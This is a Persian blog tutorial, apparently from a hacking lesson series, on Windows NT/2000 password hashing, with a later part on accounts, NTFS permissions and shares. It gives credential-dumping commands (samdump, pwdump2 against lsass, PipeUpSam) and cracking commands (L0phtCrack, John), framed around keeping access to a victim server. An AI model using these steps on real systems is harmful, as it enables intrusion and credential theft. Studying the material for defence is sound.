اين روش hash کردن روشي‌است که در ويندوزهاي قديمي ( قبل از NT هاي جديد يعني در 3.1 ، 95، 98، Me و NT هاي قديمي ) استفاده مي‌شده است و هنوز هم ساپورت مي‌شود. اين روش hash کردن پسورد اولين بار توسط IBM استفاده شد ولي مشکلات امنيتي زيادي داره ( يه بار مايکروسافت خواست خودش گاف نده، ايندفه با گاف IBM رفت تو چاه! ). در اين روش hash کردن حداکثر طول پسورد مي‌تونه ۱۴ حرف باشه. يه مثال مي‌زنم. فرض کنيد که قرار پسوردي به اسم thepassword ذخيره بشه، چون طول اين پسورد از ۱۴ حرف کمتره، انقدر 0 به آخر پسورد اضافه ميشه که ۱۴ حرفي بشه ( منظور از 0 در اينجا کارکتر عددي صفر نيست بلکه منظور چيزي است که در برنامه‌نويسي بهش NULL مي‌گيم و ما براي سادگي کار اونو با همون کاراکتر 0 نشون داده‌ايم ) ، يعني پسورد ميشه: thepassword000 حالا اتفاقي که مي‌افته اينه که حروف کوچک انگليسي به حروف بزرگ تبديل ميشه، يعني حالا داريم: THEPASSWORD000 و بعد اين رشته به دو رشته ۷ کاراکتري تقسيم ميشه، يعني: THEPASS و WORD000 بعد مي‌آد و هر کدوم رو با يه الگوريتم يک طرفه ( يعني غير قابل برگشت ) رمز مي‌کنه بعد کنار هم مي‌چينه و يه رشته ۳۲ کاراکتري ( به صورت Hex ) نتيجش مي‌شه، مثلا پسورد مورد نظر ما به صورت 7C349F26F362950F05382367BF6677B7 در مياد. اين ميشه اولين روش hash که بهش LM مي‌گويند. مشکلات اين روش ذخيره سازي اينه که اولا طول پسورد حداکثر ۱۴ حرف‌ه، ثانيا اين روش case insensive ه يعني حروف بزرگ و کوچک فرقي نداره، ثالثا چون پسورد به دو قسمت ۷ تايي تقسيم ميشه، مي‌شه هر کدوم رو به تنهايي crack کرد، رابعا مشکلي به دليل نبودن salt هست در اين روش که در آخر مقاله بحث مي‌کنم که چيه.
ب) روش NT hash يا NTLM hash:
روش بهتري است، در اين روش از الگويتم MD4 استفاده ميشه ( مثل اکثر يونيکس‌ها ) و نتيجه باز هم يه رشته ۳۲ کاراکتري است. تمام موارد ايرادي که در بالا بود ( يعني اولا و ثانيا و ثالثا ) حل شده ولي مشکل رابعا هنوز هم هست!
حالا اين رابعا ( نبودن salt ) چي‌ هست؟ از قديم الايام معلوم بوده که مايکروسافت بعد از hash کردن پسوردها از salt (نمک!) استفاده نمي‌کنه. اين باعث ميشه که اگه دو تا کامپيوتر باشه که در هر دو پسورد اکانت guest مثلا thepassword باشه (يعني دو کامپيوتر مختلف از يک پسورد واحد استفاده کنند)،‌ نتيجه hash اون در هر دو يکسان بشه. يعني اينکه وقتي يه رشته خاص رمز بشه، نتيجه نهايي هميشه يکسان است ( يعني هميشه LM ها شبيه به هم و NT ها هم شبيه به هم خواهند بود). و اين به نفع هکره :) در سيستم‌هاي شبه‌يونيکس، به دليل اضافه کردن نمک! ، 4096 جور مختلف مي‌شوند و اين باعث ميشه، کار کرک کردن به همين اندازه بيشتر بشه.
نکته بعدي که هست اينه که چرا با وجود اينکه روش NTLM از LM بهتره، چرا هنوز هم LM ساپورت ميشه؟ دليلش اينه که براي حفظ سازگاري هنوز هم استفاده مي‌شه. مثلا اگه قرار باشه يه ويندوز 98 به يه ويندوز 2000 کانکت بشه، بايد 2000 بتونه هويت‌سنجي و اتصال رو انجام بده. اگه همه ويندوزها در شبکه مدل بالا! باشند، ميشه LM رو غير فعال کرد.

۲- حالا ما هم نتيجه hash شده پسوردها رو داريم، کجا بايد اينها ذخيره بشوند:
الف) فايل SAM :
ويندوز سرورها براي ذخيره کردن اکانت‌هاي لوکال از فايلي به اسم SAM استفاده مي‌کنند. ( ويندوز‌هاي غير NT ها از فايل‌هاي PWL استفاده مي‌کردند). فايل اصلي SAM اينجاست:
%SystemRoot%\System32\Config\
مي‌تونيد نگاه کنيد تا مطمئن بشيد که هست! يه مطلبي که هست اينه که وقتي با ويندوز بالا اومديد، فايل SAM مربوط به اون به صورت protected يا حفاظت شده است. در نتيجه نمي‌تونيد همين‌طوري مثلا کپي کنيد يا بخونيد. دقت کنيد که فايل SAM هيچ‌گونه پسوندي ندارد.
يه مورد ديگه هم هست که بايد دقت کنيد، گاهي يک نسخه compressed از فايل SAM به اسم _.SAM در دايرکتوري SystemRoot%\repair% وجود دارد که از اون هم ميشه استفاده کرد. ( اين فايل موقع backup گيري از اطلاعات سيستم توسط ابزار rdisk ايجاد مي‌شود ) جزئياتش مهم نيست، فقط چک کنيد ببينيد که همچين فايلي اونجا هست يا نه :) حتي گاهي مي‌تونيد يه کپي ( غير فشرده يا غير compressed رو ) در اين فولدر پيدا کنيد .
ب) رجيستري:
يک سري کليد و ورودي در رجيستري هست که اگرچه کاربرد زيادي براي سيستم‌عامل دارند ولي به صورت hidden هستند ( يعني به راحتي قابل مشاهده و تغييير نيستند). از جمله اين کليدها، اون‌هايي هستند که اطلاعاتي شبيه به SAM رو در خود دارند ( يعني LM hash, username و NT hash ). که براي يک هکر ارزشمند است.
ج) Active Directory:
در شبکه‌اي از ويندوز سرورها، AD براي نگهداري پسوردهاي دومين و گروه‌هاي global به کار مي‌رود ( البته در ويندوز ۲۰۰۰، نه در NT 4.0 ، زيرا در NT 4.0 در هر حال طرف حساب ما يا SAM است يا registery ). فعلي بحث ما اين چيزها نيست!

يه مطلبي هست راجع به SYSKEY که بايد توضيح بدم. يک تکنولوژي! جديد است که فکر کنم از SP2 ( يعني Service patch شماره ۲ ) از ويندوز NT 4.0 به بعد اعمال مي‌شود و در نتيجه در مورد ويندوز ۲۰۰۰ هم ( با يا بدون سرويس پچ ) وجود دارد. کارش هم اين است که پسوردهاي ذخيره شده ( در رجيستري ) را يه بار ديگه رمز مي‌کند تا امنيتش زياد شود.


خوب حالا برسيم به کار عملي!
من کل عمليات تغيير و ذخيره پسورد در ويندوز سرورها رو در ۲ مورد خلاصه کردم که خونديد. حالا ما بايد عمل عکس رو انجام بديم تا به پسورد برسيم. در نتيجه

۱- اولين کار ما اينه که بتونيم از فايل SAM و يا از رجيستري، username ها و LM ها و NTLM ها رو در بياريم. به اين کار به طور کلي DUMP کردن يا Extract کردن مي‌گويند. يه مثال مي‌زنم که خوب متوجه بشين. فرض کنيد که اکانتي دارم به اسم guest که پسورد اون thepassword است. چيزي که مي‌خوام با dump کردن بهش برسم، چيزي مثل اينه:
guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:::
البته به تعداد اکانت‌هاي محلي که در کامپيوتر قرباني وجود دارد، يه سطر داده مثل اين بالايي هست. اينجا چهار داده مهم داريم، اولي اسم اکانت است، بعد يه دونقطه (:) داريم و بعد يه عدد که نشون مي‌ده اين اکانت يازدهيم اکانتي است که در اين کامپيوتر ايجاد شده است ( اولين اکانت عدد ۱۰۰۰ دارد )، بعد دوباره دونقطه داريم، بعد LM hash رو داريم يعني 7C349F26F362950F05382367BF6677B7 بعد دوباره دونقطه و بعد NTLM hash يعني 9D5DF8F2A588405949DE0917CC19F8DD
يه مطلب فوق‌‌العاده مهم اينجا هست که بايد بگم، اونم اينه که در تمام مواردي که مي‌خواهيم DUMP کنيم، بايد اولا لوکال باشيم ( يعني بايد ابزار کار رو به کامپيوتر هدف بفرستيم و اونجا به کمک يه shell اونو اجرا کنيم ) و ثانيا بايد اختيارات ما در حد Administrator باشه ( يعني در واقع بالاترين سطح اختيارات رو داشته باشيم ). پس همه اين موارد واسه اينه که ما بتونيم با بدست آوردن پسورد اکانت‌هاي مختلف بتونيم مدت بقاي خودمون رو در اين سرور افزايش بديم. خوب حالا وقتشه که شروع کنيم:

الف) Dump کردن از فايل SAM :
اين کار رو مي‌تونيم به دو روش انجام بديم.
+ روش اول:
در اين روش بايد يه کپي از فايل SAM رو گير بياريم. اين نسخه رو به هر روشي ميشه گير آورد مهم اينه که اين فايل SAM نمي‌تونه خود فايلي باشه که در محل اصلي به صورت محافظت شده نگهداري مي‌شه، بلکه بايد يه کپي از اون باشه. روش‌هاي زيادي واسه بدست آوردن اين فايل هست:
» مي‌تونيد به کمک يک فلاپي درايو bootable مربوط به ويندوز ۹۸ و به کمک ابزاري به اسم ntfsdos اين کار رو انجام بديم. ( به درد ما نمي‌خوره چون ما دسترسي فيزيکي به سرور نداريم ) در اين حالت ديگه اون فايل SAM اصلي محافظت شده نيست چون با سيستم‌عامل ديگري بالا اومديم و مي‌تونيم اون فايل اصلي رو يه نسخه اش کپي کنيم.
» مي‌تونيم از فايل backup شده SAM يعني _.SAM که در آدرس SystemRoot%\repair\% بود استفاده کنيم. به اين ترتيب که اين فايل که هيچ محافظتي ازش نميشه رو به يه جايي کپي کنيم و بعد دستور زير رو اجرا کنيم:
expand sam._ sam
دقت کنيد که expand يکي از ابزارهاي NTRK است. با اين دستور مثل اينه که يه نسخه معادل sam رو ( با اون اکانت‌هايي که موقع آخرين backup گيري داشته‌ايم ) ايجاد مي‌کنيم که مي‌تونيم ازش استفاده کنيم.
» و...
حالا که يه نسخه از فايل SAM رو داريم که معادل فايل SAM اصلي است، مي‌تونيم از ابزاري به اسم samdump استفاده کنيم. مثلا اگر فايل SAM ي که ايجاد کرده‌ايم در آدرس c:\folder باشه و اسمش هم باشه SAM ، براي dump کردن hash ها مي‌نويسيم:
samdump c:\folder\SAM
و جواب مي‌گيريم:
Administrator:500:CD9112302C53CECC7C3113B4A1A5E3A0:F873525F352BCF1243B83938AC28A147:::
ali:1009:NO PASSWORD*********************:NO PASSWORD*********************:::
guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:::
,...
کاملا واضحه و نيازي به توضيح نداره. اگه مي‌خواستيم که اطلاعات در فايلي ذخيره بشه به اسم مثلا hash.txt بايد مي‌نوشتم:
samdump c:\folder\SAM > hash.txt
وقتي SYSKEY نصب شده باشد ( مثلا در ويندوز ۲۰۰۰ اينطوريه ) ديگه samdump نمي‌تونه کاري بکنه و عملا بدرد نمي‌خوره.

+ روش دوم:
استفاده از نقاط ضعف و اکسپلويت‌کردن آنها. يه مثال ساده هست که در ويندوز ۲۰۰۰ کار مي‌کنه. در اين روش کافي است از برنامه‌اي به نام PipeUpSam ( که ميشه گفت يه جور exploit است، استفاده کنيد ). اين ابزار خيلي قشنگ مياد و فقط با اجراي دستور زير مي‌تونه اين اطلاعات رو از فايل SAM بگيره و مثلا در فايلي به اسم hash.txt ذخيره کنه:
pipeupsam hash.txt
اون سايتي که من قبلا اين فايل رو ازش گرفتم، فعلا کرکره‌اش پايينه! تو اينترنت بگرديد و فايل رو پيدا کنيد.

ب) Dump کردن از رجيستري:
ملاحظه فرموديد که Dump کردن از فايل SAM معمولا دنگ‌وفنگ داره ( البته بجز اون روشي که توسط PipeUpSam بودش). به هر حال راه ساده براي Dump کردن اين hash ها هست که اون هم از طريق رجيستري است. همون‌طور که گفتم، کليد‌هاي مربوطه در رجيستري به صورت hidden است و نمي‌تونيد با روش‌هاي معمول چيزي ازش بخونيد ولي مي‌تونيد به کمک ابزارهايي اين کار رو انجام بديد:
+ وقتي SYSKEY نصب نشده است:
اين حالت وقتي پيش مياد که قراره پسوردها رو از رجيستري يه کامپيوتر NT 4.0 و قبل از SP2 بگيريم. در اين حالت ابزار pwdump رو به کار مي‌بريم. کافي است بنويسيم:
pwdump
و نتايج بياد يا مي‌تونيم اينا رو در فايلي به اسم hash.txt ذخيره کنيم، با اين دستور:
pwdump > hash.txt
+ وقتي SYSKEY نصب شده باشد:
در ويندوز ۲۰۰۰ به صورت پيش‌فرض اينگونه است. براي اين کار مي‌تونيد از ابزاري به اسم pwdump2 استفاده کنيد که هم نسخه قديمي و هم نسخه جديد دارد. در هر دو نسخه، اسم فايل‌هاي اصلي pwdump2.exe و samdump.dll است که بايد هردو به سرور قرباني کپي شوند ( در يه فولدر خاص ) تا کار کنند. فرق نسخه قديمي با جديد اسن است که در نسخه قديمي بايد يه فايل از NTRK به اسم pulist را هم به همان فولدر کپي کنيد و ازش استفاده کنيد. مراحل زير رو بايد طي کنيد:
:: اگر نسخه قديمي رو استفاده مي‌کنيد، اول مي‌نويسيد:
pulist | find "lsass" 
و مثلا جواب مي‌شنوم:
lsass.exe               63     NT ...
اين دستور مياد و Process ID يا همون PID مربوط به lsass.exe رو پيدا مي‌کند تا بعد بتونيم از اين PID استفاده کنيم. در اينجا PID مربوطه، 63 است. اين مرحله لازم نيست در صورتيکه از نسخه جديد استفاده مي‌کنيد.
:: حالا بايد pwdump2 رو اجرا کنيم. اگه نسخه قديمي باشد، مي‌نويسيم:
pwdump2 63
که ۶۳ همان PID است که بدست آورده‌ايم. ولي اگر نسخه جديد باشد، لزومي نيست که PID رو بدست بياوريم، بلکه با دستور زير کار تمام است:
pwdump2
و ليست hash ها مياد، مي‌تونستيم اطلاعات رو در يک فايل ذخيره کنيم، مي‌نوشتيم:
pwdump2 > hash.txt
به همين راحتي!

نکته: يه ابزاري هست به اسم pwdump3rev2 و يا pwdump3v2 و يا pwdump3e (هر سه فايل زيپ، حاوي فايل‌هاي pwdump3.exe و pwservice.exe و lsaExt.dll ) فرق اين pwdump3 با pwdump هاي ديگر، اين است که وقتي که pwdump3 اجرا شود، به صورت remote کار مي‌کند. به اين ترتيب که مثلا username ( در حد اکانت‌هاي Admin ) رو مشخص مي‌کنيم و با اجراي pwdump3 ، از ما پسورد مي‌خواهد (يعني بايد username و password رو داشته باشيم) و اتصال برقرار شده (اتصال از نوع netbios ) و بعد دو فايل ديگر رو مي‌فرستد به سرور و بعد يک سرويس تشکيل مي‌دهد که به صورت remote مي‌تونه اين hash ها را براي ما بفرستد. ( بعد از فرستادن اطلاعات، فايل‌ها پاک شده و سرويس نيز ار بين مي‌رود ). براي توصيحات بيشتر مي‌تونيد readme رو در فايل zip بخونيد.

۲) خوب حالا ما تونستيم اين hash ها رو بدست بياريم ( مثلا به شکل يه فايل به اسم hash.txt ) کار بعدي اينه که اين hash رو به کامپيوتر خودمون آورده، و بعد اونو به صورت پسورد واقعي در بياريم. همانطور که گفتم هر دو روش LM و NTLM از الگوريتم‌هاي يک‌ طرفه براي رمز کردن استفاده مي‌کنند و نتيجه اينه که نمي‌شه مستقيما اين hash ها رو به پسورد تبديل کرد. بلکه روش کار اينه که بايد پسوردها رو crack کنيم. به اين ترتيب که ليست بزرگي از پسوردها رو با هر کدام از اين الگوريتم‌ها ( LM يا NTLM ) رمز کرده و نتيجه رو با چيزي که در فايل hash.txt داريم، مقايسه کنيم. اگر يکي بودند، يعني پسورد درست است. حالا روش‌هاي محتلفي که براي crack کردن کاربرد دارند، اينها هستند:
» dictionary attack: در اين روش يک فايل بزرگ که حاوي کلمات زيادي است به کار مي‌رود و با توجه به اينکه تعداد زيادي از مردم از کلمات معنادار استفاده مي‌کنند، ممکن است به جواب برسه. اين فايل‌هاي ديکشنري رو در درس مربوط به پورت ۱۳۹ گفتم از کجا مي‌تونيد پيدا کنيد.
» Brute Force: در اين روش تمام حالات ممکنه رو امتحان مي‌کنيم، مثلا از پسوردهاي يک کاراکتري شروع مي‌کنيم و تمام حالات ممکنه رو تست مي‌کنيم و اگه جواب نداد ۲ حرفي و ... مشخصه که اين روش بسيار کنده. ولي اگه مثلا بدونيم پسوردي که فلان فرد استفاده مي‌کنه، چند حرفيه، مي‌تونيم کار رو کمي سريع‌تر کنيم...
» Syllable attack: در اين روش يک کلمه به سيلاب‌هاش تقسيم شده و بين اين‌ها کاراکترهايي قرار داده ميشه و نتيجه تست ميشه. بعضي افراد از چنين پسوردهايي استفاده مي‌کنند.
» Hybrid يا rule based: در اين روش از يک سري اصول استفاده مي‌کنيم مثلا تمام پسوردهايي که حروف اولش يک کلمه انگليسي باشه و بعد از اون مثلا تا سه حرف رندوم. ميشه گفت ترکيب dictionary و brute force است.
» و...
حالا که با روش‌هاي crack آشنا شديد، وقتشه که چند ابزار واسه اين کارها معرفي کنم:
الف- L0pht Crack :
مشهورترين ابزار کرک کردن پسوردهاي hash شده است که واسه سيستم‌عامل ويندوز طراحي شده است. اين ابزار نسخه پولي دارد به اسم LC4 که گرافيکي است ( با trial براي ۱۵ روز ) و نيز نسخه خط‌فرماني مجاني و Open Source به اسم LC1.5 که مي‌شه گفت يه نسخه لايت است. کار با نسخه گرافيکي بسيار ساده است. و روش‌هاي کرکي که گفتم رو ساپورت مي‌کنه ( بجز روش سيلابل ) . نسخه متني و مجاني، هيبريد و سيلابل رو ساپورت نمي‌کنه ولي دو تاي ديگه رو ساپورت مي‌کنه. نسخه گرافيکي اين شکليه:



کار کردن باهاش ساده است. دقت کنيد که چون خود LC4 داخل خودش ابزارهاي samdump و pwdump و pwdump2 رو داره، بنابراين نيازي به اينها نيست. پس مثلا هم مي‌تونه يک فايل SAM رو کرک کنه و هم مي‌تونه فايلي که به اسم hash.txt ايجاد کرديم رو کرک کنه و ... خودتون تست کنيد و لذت ببريد.
خود سايت ادعا داره که با LC4 ميشه ۱۸٪ پسوردها رو در عرض ۱۰ دقيقه باهاش کرک کرد و ۹۰٪ پسوردها رو در ۴۸ ساعت. منابع بي‌طرف مي‌گن که ۱۰٪ پسوردها در چند ساعت و ۲۵٪ پسوردها در چند روز کرک ميشه. در هر دو صورت ملاحظه مي‌کنيد که کار باهاش کند است.
يه نکته مهم در مورد LC4 هست که مي‌تونه کاري شبيه به همون pwdump3 که بحث‌اش رو کردم انجام بده ولي چون من کلا با محصولات پولي لجم! هيچي ازش نمي‌گم :)
در مورد LC1.5 که متني است،‌ اگر فايل hash که داريم اسمش hash.txt باشد و ديکشنري که استفاده مي‌کنيم، اسمش theargon.lst باشد، براي کرک کردن با اين ابزار و روش dictionary attack مي‌نويسيم:
lc_cli -p hash.txt  -w theargon.lst
مي‌توانيد سويچ‌هاي -l رو استفاده کنيد که فقط hash هاي LM تست شود، و يا سويچ -n که فقط hash هاي NTLM تست شود. اگر هيچ‌يک از اين سويچ‌ها رو بکار نبريد ( مثل مثالي که در بالا نوشتم ) هر دو تست خواهند شد. حالا مي‌خوام توسط اين ابزار متني، hash.txt رو به روش brute force کرک کنم. مي‌نويسم:
lc_cli -p hash.txt  -b
اين روش خيلي طولاني خواهد بود.
ب- John the Ripper يا John :
اين هم يکي از ابزارهاي مهم براي کرک کردن پسوردهاي ويندوز NT ( ونيز پسوردهاي يونيکس ) است. هم نسخه ويندوزي و هم نسخه يونيکسي ( لينوکسي ) دارد. به صورت خط‌فرماني است. نکته مهم اينه که John در مورد پسوردهاي ويندوز فقط مي‌تونه LM رو کرک کنه ( و نه NTLM ها رو ). براي دريافت John اينجا رو کليک کنيد.
براي کار با John اولين کار اين است که فايل John.ini رو تنظيم کنيم. اينجا مي‌تونيم، مثلا اسم فايل ديکشنري رو تنظيم کنيد ( پيش‌فرض اون password.lst است ) ولي بقيه تنظيمات لزومي به تغيير ندارند. قبلا هم که فايل hash.txt رو داشته‌ايم. مي‌نويسيد:
john hash.txt
و بعد از اينکه کار تمام شد، مي‌نويسيم:
john -show hash.txt
و نتايج نمايش داده مي‌شوند.

اين بحث را مي‌خوام تموم کنم ولي قبلش بايد از يک پيشرفت جديد در کرک کردن پسوردهاي ويندوز اسم ببرم. گفتم که ويندوز در hash کردن از salt (نمک) استفاده نمي‌کند. اين باعث ميشه بتونيم يه جدول بزرگ درست کنيم که بتونيم کار کرک کردن رو سريع‌تر کنيم. اين کار رو جديدا تيم LASEC انجام داده است. با روشي که اينها استفاده کردند، 99.9% پسوردهايي که فقط حاوي عدد يا حرف باشند ( يعني alphanumbric باشند )، در چند ثانيه کرک مي‌شوند. قبلا يه نسخه آنلاين در سايتشون بودش که در حدود ۱۳ ثانيه کار کرک رو تموم مي‌کرد ( اين يعني خيلي پيشرفت ) ولي الان اونو ورداشته‌اند. اميدواريم به زودي يه نسخه قابل داون‌لود در سايتشون بذارند ( که احتمالا ۲ گيگابايت خواهد بود! )


 
comment نظرات ()
 
 
قسمت چهاردهم(ضروريات ويندوز سرور براي هکرها - قسمت سوم )
نویسنده : Hossein - ساعت ۱:٤٠ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- يادآوري

اين مقاله ادامه مقاله قبلي‌ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه‌اي که هست نداريم.


- اکانت‌ها و گروه‌ها در ويندوز سرور

همون‌طور که گفتم ما داريم در مورد يک ويندوز سرور منفرد صحبت مي‌کنيم، بنابراين منظور من از اکانت، اکانت‌هاي محلي يا local است ( وقتي چند ويندوز سرور در کنار هم و به صورت شبکه مورد استفاده هستند، معمولا اکانت‌هاي سراسري يا global هم ست مي‌شود که براي دسترسي به منابع در domain مورد استفاده قرار مي‌گيرد. درمورد اينکه domain در ويندوز سرور چيست، بعدها توضيح مي‌دم). بنابراين ما بحث اکانت‌هاي لوکال رو داريم. در مورد گروه‌ها هم همين‌طور يعني گروه‌هاي لوکال رو مي‌گم.

اکانت عبارت از يک username و password معتبر در ويندوز سرور است. وقتي از طريق يک اکانت به سيستم وارد مي‌شويم، اصطلاحا مي‌گوييم که login يا logon کرده‌ايم. با login کردن به سرور به سطحي خاص از دسترسي به فايل‌ها و منابع سيستم مي‌رسيم که بستگي به سطح اختيارات اون اکانت داره. تعداد زيادي اکانت لوکال پيش‌فرض وجود داره که مهم‌ترين‌هاش، ايناست:
۱- اکانت Administrator : بالاترين سطح دسترسي به اون سرور خاص است. اگه با اين اکانت login کنيد، به نهايت دسترسي به اون کامپيوتر رسيده‌ايد. معادل root در سيستم‌عامل‌هاي مبتني بر يونيکس.
۲- اکانت guest : به صورت پيش‌فرض غير فعال است. اختيارات بسيار محدودي دارد.
۳- اکانت‌ IUSR_xxxxx-yyyyy : در اين اکانت xxxx-yyyyyy نام همون کامپيوتره. مثلا ممکنه اسم اين اکانت اين باشه: IUSR_ABBASGOLI-V0P1QR !! اين اکانت همراه با IIS به طور پيش‌فرض ايجاد ميشه و خود ويندوز يه پسورد random براش ست مي‌کنه. ( IIS يا Internet Information Server وب‌سرور مايکروسافت براي ويندوز است. اين نرم‌افزار همون چيزي است که روي پورت ۸۰ فال‌گوش مي‌ماند و وقتي شما سايتي از اون سرور رو توسط مرورگر درخواست مي‌کنيد، براي شما صفحه وب رو مي‌فرستد. وب سرورهاي ديگري نيز براي ويندوز وجود دارد که به اندازه IIS پرکاربرد نيستند) اين اکانت نيز يک اکانت محدود است. وقتي شما مشخصا از طريق پورت ۸۰ ويندوز سروري را هک مي‌کنيد که IIS روي اون نصب شده و يک شل از اين طريق مي‌گيريد، معمولا شما سطح اختياراتي معادل همين اکانت IUSR_xxxxx-yyyyy رو بدست آوريده‌ايد. يعني شما سطح اختيارات Administrator رو نداريد. خيلي‌ّها از من مي‌پرسند که مثلا با Unicode bug يک ويندوز ۲۰۰۰ رو هک کرده‌ايم ولي نمي‌تونيم مثلا صفحه اول سايت رو عوض کنيم... دليلش اينه که شلي که شما از اين طريق بدست آورده‌ايد، در سطح Administrator نيست و ممکن است لازم باشد که به طريقي از اکانت IUSR_xxxxx-yyyyy به Administrator برسيد تا بتونيد اون فايل خاص (صفحه اول) رو بدست بگيريد.
۴- و...

گروه‌‌هاي محلي ( local groups ) چيست؟
فرض کنيد که يه کامپيوتر ۵۰ اکانت مختلف در اون ايجاد شده که هر کدوم از اين اکانت‌ها دسترسي متفاوتي بايد به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ايجاد بشه و اجازه دسترسي به منابع خاص يکي يکي ايجاد بشه، کار بسيار طولاني‌ خواهد بود. معمولا اينگونه است که تعداد زيادي از اين اکانت‌ها بايد سطح اختيارات يکسان داشته باشند، مثلا ۳۰ تاشون در حد guest بايد به سرور دسترسي داشته باشند. در اين حالت بهتر است که يک گروه ايجاد شود و اختيارات واسه اون گروه ست بشه. حالا هر اکانتي که داخل اون گروه ايجاد بشه، همون سطح اختيارات رو خواهد داشت و اين مديريت رو ساده‌تر مي‌کنه. معمولا اسم گروه‌ها يه حرف s آخرشون دارند که علامت جمع‌ه. مهم‌ترين گروه‌ها عبارتند از:
۱- Administrators: يعني admin ها. مجموعه‌اي از اکانت‌ها که دسترسي‌شون در حد Administrator است.
۲- Power Users
۳- Backup Operators
۴- Guests
۵- Users
۶- و...

Account Policy چيست؟
قواعدي است که براي اکانت‌ها ست مي‌شود. مثلا ممکن است Admin سرور ست کند که حداقل طول پسورد براي اکانت بايد ۶ حرف باشد يا اينکه فلان اکانت بعد از ۳ بار امتحان ناموفق براي login قفل شود و... اين اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم که ميشه به کمک enum يا winfo و... بدست آورد.



- permision ها ( مجوزها‌ ) در NTFS

مجوزها در NTFS مهم‌ترين تحولي است که نسبت به FAT32 رخ داده است. مجوزها تعيين مي‌کنند که يک يوزر که به سيستم login کرده است، در چه حدي مي‌تواند با فايل‌هاي يک فولدر کار کند. فرض کنيد که يک يوزر از گروه guests به سيستم وارد شده است، در اين حالت مسلما نمي‌خواهيم که اين فرد بتواند به تمام فايل‌ها دسترسي از نوع خواندن و نوشتن داشته و آنها را تغيير دهد. پس فولدرهايي وجود دارند ( مثل فولدر مربوط به فايل‌هاي ويندوز ) که فقط براي افراد خاصي قابل دسترسي هستند.
نکته بسيار مهم در ويندوز اين است که مجوزها براي فولدرها تنظيم مي‌شوند نه براي فايل‌ها. به عبارت ديگر وقتي مجوزي براي فايلي مي‌خواهيم ست کنيم، در ويندوز سرورها نمي‌توانيم براي اون فايل اين مجوز رو تنظيم کنيم، بلکه بايد فولدري که فايل در اون قرار گرفته رو ست کنيم. در اين حالت تمام فايل‌هاي داخل اون فولدر همين مجوز رو خواهند داشت.
نکته مهم ديگر اين است که مجوزها براي اکانت‌هاي مختلف به صورت‌هاي متفاوت ست مي‌شوند. مثلا ممکن است فولدر ويندوز براي اکانت‌هاي guest به صورت فقط خواندني تنظيم شود، ولي براي اکانت‌هاي Administrators به صورت دسترسي کامل.

الف- مجوزها در NTFS 4.0:
۱- No Access : يعني عدم دسترسي براي يک اکانت خاص. يعني اينکه حتي نمي‌توان وارد اون فولدر شد.
۲- Read: فقط خواندني. يعني مي‌شه به فولدر وارد شد و فايل‌ها رو دسترسي داشت ( چه فايل‌هاي اجرايي و چه غير اجرايي ) و اون‌ها رو خواند ( در مورد فايل‌هاي اجرايي يعني ميشه اجراشون کرد ) ولي اجازه تغيير در فايل‌هاي اون فولدر مثل پاک کردن، ويرايش و ايجاد فايل جديد رو نداريم.
۳- Change: يعني هم خواندن، هم تغيير، هم حذف و هم اجرا براي اون اکانت خاص مجاز است. يعني همه کار ولي نه تغيير دادن مجوزها واسه اون فولدر. يعني اينکه فرد نمي‌تونه ست کنه که اين فولدر که الان مثلا براي اکانت‌هاي guests قابل دسترسي نيست، قابل دسترس بشه.
۴- Full Control: يعني دسترسي کامل. شامل همه مواردي که در شماره ۳ گفته شد + اجازه تغيير مجوزها. بنابراين اين مجوز معمولا فقط براي Adminها ست مي‌شود.

ب- مجوزها در NTFS 5.0:
۱- No Access : يعني عدم دسترسي.
۲- Read: فقط خواندني. در NTFS 4.0 در حالت Read مي‌تونستيم فايل‌هاي اجرايي داخل اون فولدر رو اجرا کنيم ولي در NTFS 5.0 با اين مجوز نمي‌تونيم فايل‌هاي اجرايي رو اجرا کنيم و فقط مي‌تونيم بخونيم.
۳- Read & Execute: يعني اجازه خواندن و نيز اجازه اجرا کردن.
۴- Write: يعني اجازه خواندن، اجزا کردن و تغيير دادن.
۵- Modify: دقيقا مثل Write. اين نشون از ضريب هوشي مايکروسافت بزرگ داره! دو اسم براي يک نوع دسترسي :)
۶- Full Control: يعني مثل Write + اجازه تغيير مجوزها




- Share ها در ويندوز سرور

share در ويندوز سرورها يعني منابعي که از طريق شبکه ( يعني از راه دور ) قابل دسترسي باشد. همون‌طور که تو درس مربوط به پورت ۱۳۹ گفتم، دسترسي به منابع اشتراکي در ويندوز سرورها، از طريق پروتکل SMB است که مايکروسافت اونو CIFS ميگه. در اين حالت، اول يک احراز هويت داريم و بعد از اون يک session يا نشست تشکيل ميشه ( يه چيزي هم به اسم Null Session هست که توضيحاتش در همون درس اومده. ) پروتکل‌هاي قديمي NetBEUI (که از دور خارج شده) و NetBIOS هم چيزي است هنوز هم توسط ويندوز ساپورت ميشه. منابع اشتراکي هم که مشخصه: فولدرها، درايوها و چاپگر.
حالا مي‌رسيم به ليست share ها:
$IPC : يعني دسترسي کامل. اگه بتونيم به اين share برسيم در واقع به تمام فايل‌ها، درايوها و فولدرها دسترسي داريم. معمولا دسترسي به اين share فقط واسه اکانت‌هاي Admin است.
$ADMIN : اين share مربوط به فولدري است که ويندوز در اون نصب شده است يعني %SystemRoot% بنابراين share محدودتري نسبت به $IPC محسوب ميشه.
$print : يعني چاپگر! فولدر مربوطه‌اش اينجاست: SystemRoot%\system32\spool\PRINTERS% يعني با اين share به اين فولدر دسترسي داريم. اين فولدر جايي است که کارهاي چاپي به صورت فايل‌هايي با پسوند spl نگهداري مي‌شوند.
$C و $D و...: اگه اين share ها ست شده باشه به درايوهاي C و D و ... دسترسي داريم.
share هاي ديگر: هر فولدري رو در ويندوز ميشه share کرد و يک نام خاص به اون نسبت داد...

